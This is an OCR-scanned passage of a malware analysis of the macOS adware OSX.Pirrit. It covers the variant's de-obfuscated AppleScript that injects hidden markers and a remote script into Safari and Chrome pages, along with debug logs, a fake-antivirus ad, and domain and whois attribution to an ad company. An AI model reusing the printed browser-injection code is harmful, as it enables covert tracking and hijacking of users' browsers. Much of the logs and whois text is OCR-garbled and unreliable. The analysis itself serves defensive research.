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macver is a Mach-O 64-bit executable file. It is not importing any third-party frameworks such

as Qt (for a change). However, closely examining this executable reveals some interesting
details.

The strings section of the file contain a lot of base64 obfuscated content:

De-obfuscating the base64 strings reveals the following code:

global _pid
set _pid to "pid_value_to_replace"

repeat
«event XFdrljct» {}
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end repeat

on «event XFdrljct» {}

delay 0.5

try

if is_Safari_running() then

tell application "Safari"

tell application "Safari" to set page_source to do JavaScript "document.body.innerHTML;" in
current tab of first window

if page_source does not contain _pid then

set theURL to URL of current tab of first window

if theURL is not equal to "about:blank" then

tell application "Safari" to do JavaScript "var pidDiv = document.createElement('div');
pidDiv.style.display = \"none\"; pidDiv.innerHTML =\"" & _pid & "\";
document.getElementsByTagName('body')[0].appendChild(pidDiv);" in current tab of first
window

tell application "Safari" to do JavaScript "var js_script = document.createElement('script’);
js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\";
document.getElementsByTagName(‘head')[0].appendChild(js_script);" in current tab of first
window

end if

end if

end tell

end if

end try

end «event XFdrljct»

on is_Safari_running()
tell application "System Events" to (name of processes) contains "Safari"

Here is another example:

on «event XFdrljct» {}

delay 0.5

try

if is_Chrome_running() then

tell application "Google Chrome" to tell active tab of window 1

set sourceHtml to execute javascript
"document.getElementsByTagName('html')[0].innerHTML"

if sourceHtml does not contain _pid then

tell application "Google Chrome" to execute front window's active tab javascript "var pidDiv =
document.createElement(‘div'); pidDiv.style = \"display:none\"; pidDiv.innerHTML =\"" & pid
& "\"; document.getElementsByTagName('body")[0].appendChild(pidDiv);"

tell application "Google Chrome" to execute front window's active tab javascript "var js_script
= document.createElement('script’); js_script.type = \"text/javascript\"; js_script.src =




\"script_to_inject\"; document.getElementsByTagName(‘head')[0].appendChild(js_script);"
end if

end tell

end if

end try

end «event XFdrljct»

on is_Chrome_running()
tell application "System Events" to (name of processes) contains "Google Chrome"

That code is AppleScript (Jonathan Levin’s book *OS Internals volume | thoroughly covers
Applescript’s inner workings) and injects JavaScript code directly into the browser.

Like | said earlier, this variant uses AppleScript. Instead of running a proxy server to intercept
traffic or installing a browser plug-in that can be easily removed, the authors use Applescript
(which was originally meant for automation purposes) to inject javascript directly to the browser.

Using AppleScript, the authors can exfiltrate and inject both information and code from/to other
apps. In this case, AppleScript is used to poll the running browser for the currently viewed URL.
Then, a block of JS code is injected into a hidden <div> in every page that the browser is
visiting. That code is used to extract information, to track the user and to plant code in the page
if needed.

Here’s the process:

Macver is running and executing (via NSTASK) osascript (the AppleScript interpreter), which will
execute the aforementioned (and some other) scripts that are going to interact and in fact “hook”
(to borrow terminology from BeEF) the browser. Once a browser is hooked, macver can read
and write (or inject) content to and from it. Once the browser loads a website, macver knows
exactly what website is being visited and will then inject ads into the browser.
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9

google chrome

In this example, once macver was running, | went to Google and searched for “error.” After |
submitted the result, the browser immediately opened a new tab that displayed an ad for

MacKeeper, the well-known, fake antivirus program for Macs.

In the following image we can see macver running in its own terminal window. By default,
macver prints to stdout a lot of debug information so there is actually very little need for

debugging:

200 V5.3 — macver » osascript — 218x31

5.3 — macver » osascript

Cx )

varfmp/V5.3 — -bash

Q- letmacwork

| 2017-11-27 @
2017-11-27

.238 macver[3263:362866] No change.

-983 macver[3263:362866]

898 macwer[3263:362866] favorites://

@98 macver[3263:362866] No url found

98 macver [3263:362866] 1

94 macver[3263:362866] https://www.google. con/search?g=error&oq=errorags=chrone. .69157j015.1414]0j8&sour ceid=chrome&ie=UTF-§
194 macver[3263:362866] (

2017-11-27
2017-11-27 08

[}
]
[}
o
08:

"https://wiw.google. con/search?g=errorGog=error&ags=chrone. . 69i57j015.1414]0j8&sourceid=chromes ie=UTF-8%0A"

5.194 macver[3263:362866] No change.
987 macver[3263:362866]
3 macver[3263:362866] favorites://
83 macwer[3263:362866] No url found
.103 macver[3263:362866]

Google query for "error"

[var[tmp/V5.3 — -bash

2017-11-27 08:

2017-11-27 98:37:06.211 macver[3263:362866] (

51/ fwwvi. google. com/search?g=error&og=error&ags=chrome..691573015.141410]8&s0urceid=chrome&ie=UTF-B%0A"

211 macver [3263:362866] htps://www.googie. con/searchie i=0]BCWsPERAGIQQTXIbjwB0Gg=Er r0rGog=cr ror&gs_l=psy-ab.12...0.0.0.3109.0.0.0.0.0.0.0.0..0.0....0

..1..64.psy-ab..0.0.0....0.1912g- 10T M

TR q ForaZeeq ToT%2685 12..70.0.0.3195.6.0
2017-11-27 08:37:87.414 macver[3263:362866] {

bid = "9.001
creativeUrl = "//ssp. fwrdy.con/query?query_id=41bBef68-d391-11e7-9287-e08205627705" ;

+
2017-11-27 08:37:07.414 macver[3263:362866] if application “Google Chrome" is running then

tell application id (id of application "Google Chrome") to open location "http://ssp.fwrdy.com/query?query_id=41bBef68-391-11e7-9287-£820562¢7705"

tell application id (id of application "Google Chrome") to activate
delay 20.0
i if

Meanwhile, in the browser:
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URL sent back to the browser that pops a fake AV ad for

MacKeeper.

Done

)
2017-11-27 08:37:86.653 Macver3263:362866] [Feed] NET://www. LOAOINOPAQEs. 1NT0/10/15 710-564D1A70-E582-3B6C—C79D-11352A0DAET 160-06TaUBAT—071—4140-0746-836a64C005534C U=t tpS%3AB2F 62Fww, 0000 LE . COM%2FSearchs3Feis3D0i Bk
B 0.0 LA T, T =
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® ® ® | error- Google Search x\<@ ATTN: Clean your Mac. O,

“ (& \ & Secure | hnps:,’;'www.gnogIe.com/search?oi:c&chPeKoGagngijwBQ&q:ermr’&uq:er’mr&gs__\:psy-ab.‘l2...0.0.0.3199.0.0.0.0.0‘0.0.0..0

GO-":g|e emar  ———— I 4 Q ]

All Images News Videos Books More Settings Tools

About 3,190,000,000 results (0.35 seconds)

Dictionary

error Q

/'erar/ ©
noun
a mistake.
“spelling errors®
synonyms: mistake, inaccuracy, miscalculation, blunder, oversight; More
« the state or condition of being wrong in conduct or judgment.

“the money had been paid in error”
synonyms: wrongly, by mistake, mistakenly, incorrectly; More

- BASEBALL
a misplay by a fielder that allows a batter to reach base or a runner to advance.

Translations, word origin, and more definitions
Feedback

Error - Wikipedia

https://en.m.wikipedia.crg/wiki/Error ~

An 'error’ is a deviation from accuracy or correctness. A ‘mistake’ is an error caused by a fault: the fault
being misjudgment, carelessness, or forgetfulness. Now, say that | run a stop sign because | was in a
hurry, and wasn't concentrating, and the police stop me, that is a mistake.

Human behavior - Science and engineering - Cybemnetics * Philately

If you see an error in iTunes on your Mac or PC - Apple Support
https://support.apple.com/en-us/HT205724 ~

Aug 26, 2017 - If you see an error in iTunes on your Mac or PC. When you use iTunes on your Mac or PC,
you might see an error code or alert message. You can fix most errors with these steps.

Error Synonyms, Errar Antonyms | Thesaurus.com
www.thesaurus.com/browse/error ¥

Synonyms for error at Thesaurus.com with free online thesaurus, antonyms, and definitions. Dictionary
and Word of the Day.
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o9 5 error - Google Search x @ MacKeeper x 8

W ([

C | @ app2.letmacworkfaster.life/landings/230/?affid=mzb_308.28813931.1511800651.28.mzb&utm_source=aedgnc&utm_medium=cpm&utm_campaign=mk_ae... ¥

Clean Mac Secure Mac Optimize Mac

VIRUS SCAN IS RECOMMENDED FOR MACS!

Attention: Your Mac might need a virus scan after visiting the risky or suspicious websites. We recommend
removing the malware because it may harm your file system and even slow down the entire 0S X.

Secure your Mac while surfing the web.
Reduce the boot time of your Mac with advanced and easy-to-use optimization tools.

Keep your Mac fast.

Keep your Mac protected online and offline.

The page at app2.letmacworkfaster.life says:
. Please consider cleaning your Mac from junk.
Click OK to Download MacKeeper.

corcel | (D

Attribution:

TargetingEdge has taken extraordinary efforts to distance itself from from the code that’'s
running on an amazing number of machines worldwide. After analyzing different samples, | had
several C&C domains (the ones that are used to “phone home” to the authors and tell them
which machines are infected). Every domain was registered with a privacy guard so there was
no way to find out who registered it using public information.

Eventually, | started cross-referencing domains with each other using ThreatCrowd and found
that some domains were not registered with a privacy guard. This was probably a mistake. A
mistake was how | figured out who was behind OSX.Pirrit last year. | found the names of
TargetingEdge employees inside the permission tables of the dropped files. But they learned
from that mistake. They are no longer using their first and last names as usernames - they have
switched to use more amusing names:
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—rwxr-xr-x @ BaTmam scarT | 222 Aug 11 2816 dvs/BrowserEnhancer
— WX F=—XF=% batman staff 57592 Aug 11 2816 dvs/BrowserEnhancer.
—rw—r——r-—— batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—rw—r——r--— batman staff 48544 Aug 11 2816 dvs/BrowserEnhancer.
WX F=XF-Xx batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—TWXI=XTI=X batman staff 58248 Aug 11 2816 dvs/BrowserEnhancer.
—rW=r=—F== batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—rW—F—F—— batman staff 41816 Aug 11 2816 dvs/BrowserEnhancer.
—IWXF—XF-X batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—IFWXF—XF-X batman staff | 634856 Aug 11 2816 dvs/BrowserEnhancer.
o e batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
e 1, Frod [ e batman staff | 261328 Aug 11 2016 dvs/BrowserEnhancer.
o o e A batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
=W e batman staff | 373176 Aug 11 2016 dvs/BrowserEnhancer.
SR e el i batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—rw—r—r—— batman staff 31968 Aug 11 2816 dvs/BrowserEnhancer.
—rw—r—r--— batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—rw—r——r--— batman staff | 37BB@B Aug 11 2016 dvs/BrowserEnhancer.
WK r=XF=—X batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—IWXF=XI=X batman staff 31624 Aug 11 2816 dvs/BrowserEnhancer.
~TWXI=XI=X batman staff 222 Aug 11 2816 dvs/BrowserEnhancer.
—IFWXF—XF-X batman staff | 426488 Aug 11 2816 dvs/BrowserEnhancer.

app/Contents/PlugIns/imageformats/._libgdds.dylib
app/Contents/PlugIns/imageformats/libgdds.dylib
app/Contents/PlugIns/imageformatsy/._libggif.dylib
app/Contents/PlugIns/imageformats/libggif.dylib
app/Contents/PlugIns/imageformats/._libgicns.dylib
app/Contents/PlugIns/imageformats/libgicns.dylib
app/Contents/PlugIns/imageformats/._libgico.dylib
app/Contents/PlugIns/imageformats/libgico.dylib
app/Contents/PlugIns/imageformats/._libgjp2.dylib
app/Contents/PlugIns/imageformats/1libgjp2.dylib
app/Contents/PlugIns/imageformatss/._libgjpeg.dylib
app/Contents/PlugIns/imageformats/libgjpeg.dylib
app/Contents/PlugIns/imageformats/._libgmng.dylib
app/Contents/PlugIns/imageformats/libgmng. dylib
app/Contents/PlugIns/imageformats/._libgtga.dylib
app/Contents/PlugIns/imageformats/libgtga.dylib
app/Contents/PlugIns/imageformats/._libgtiff.dylib
app/Contents/PlugIns/imageformats/libgtiff.dylib
app/Contents/PlugIns/imageformats/._libgwbmp.dylib
app/Contents/PlugIns/imageformats/1ibgwbmp.dylib
app/Contents/PlugIns/imageformats/._libgwebp.dylib
app/Contents/PlugIns/imageformats/1ibgwebp.dylib

The non-private domains also had a DGA pattern and were connected to the same IP address,
which is connected to other TargetingEdge domains. These included a privacy guard. As
ThreatCrowd clearly shows, the non-private domains were registered by a person associated

with TargetingEdge:

52.39.113.108
e

LJGHFG14231XC2FS.PW

54.68.165.84

I.ZF2V3QoV31G3S21.PW
35.160.159.212

1.BXM1XV1DX3S5GS3.US

52.38.85.107
®

.CZF2SGT5G2XG1GS.PWB2DS236FS2B1CX.PW

VX2NMGMS13HT5DXR.US

1.46SDZF3ZDG1DXG2.US

@TARGETINGEDGE.COM

HJ13XZIAWEN1X3G.US

1.3FZF1FSEG1XZGD1ES.US

MVXD9DRHZ6648411C.US

And that’s not the only domain that’s connected to TargetingEdge. Here’s some whois data on

3fzf1fseg1xzgd1e5[.]us:
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Wnol1s.nN1C.us

ACTIVE
stration information: http:. WW.N1C.uUs

sourc

Domain MNc

itentTran ‘rohibited http Ltcann.org/epp#clientTransferProhibited

rant ID: I

7 getingEdge

rant Street: a St. Platinum Tower
ant .

rant

rant @targetingedge.com
ant A ication Purp
Cateqgor

on: TargetingEdge
HaArba'a St. Platinum Tower

According to LinkedIn, this individual was a senior executive at TargetingEdge and he is
currently the CEO of a “Blockchain-based digital advertising company.”

Wrapping things up:

As | said before, Pirrit/BrowserEnhancer/DaVinci (or whatever you want to call it) is not a ground
breaking threat. However, it is a great example of how an adtech company is borrowing
nefarious tactics found in malware to make it hard for antivirus software and other security
products to detect them. There is no difference between traditional malware that steals data
from its victims and adware that spies on people’s Web browsing and target them with ads,



especially when those ads are for either fake antivirus programs or Apple support scams.
Adware is just another type of malware.

As for OSX.Pirrit malware, it runs under root privileges, creates autoruns and generates random
names for itself on each install. Plus, there are no removal instructions and some of its
components mask themselves to appear like they’re legitimate and from Apple. And don’t forget
that TargetingEdge used domains that appeared to be generated by some sort of DGA and
made many attempts to hide any link between the domains and TargetingEdge.

OSX.Pirrit/BrowserEnhancer/DaVinci checks every box on the malware checklist and should be
treated that way, even if its authors don'’t like it. The security industry created the term
“potentially unwanted program”, or “PUPSs”, to handle adware companies that try to intimidate
security companies that identify their products as malware by sending them cease and desist
letters. It's time for a paradigm shift. If there’s code that’s mining data and hiding itself on a
computer without any way of removing it, that's malware, plain and simple.
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